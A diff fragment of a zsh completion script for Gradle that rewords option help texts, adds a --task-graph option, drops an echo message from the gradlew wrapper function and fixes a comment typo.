-        \*'--update-locks[Perform a partial update of the dependency lock, letting passed in module notations change version. (incubating)]' \
+        '--task-graph[Prints the task graph instead of executing tasks.]' \
+        \*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
        {-v,--version}'[Print version info and exit.]' \
-        (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Set log level to warn.]' \
-        '--warning-mode[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:warning mode:(all summary none):->argument-expected' \
-        (--no-watch-fs)'--watch-fs[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]' \
-        '--write-locks[Persists dependency resolution for locked configurations, ignoring existing locking information if it exists]' \
-        {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project (comma-separated list)]:->argument-expected' \
+        (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
+        '--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none):->argument-expected' \
+        (--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
+        '--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
+        {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]:->argument-expected' \
 '(-)*:: :->task-or-option' && ret=0

    if [[ $words[CURRENT] != -* && $state != "argument-expected" ]]; then
@@ -15,7 +15,6 @@ function gradle-or-gradlew() {

  # if gradlew found, run it instead of gradle
  if [[ -f "$project_root/gradlew" ]]; then
-    echo "executing gradlew instead of gradle"
    "$project_root/gradlew" "$@"
  else
    command gradle "$@"
@@ -23,7 +23,7 @@
 #
 # Enable caching:
 #
-#   If you want to use the cache, set the followings in your .zshrc:
+#   If you want to use the cache, set the following in your .zshrc:
 #
 #     zstyle ':completion:*' use-cache yes
 #
--- a/Show More
+++ b/Show More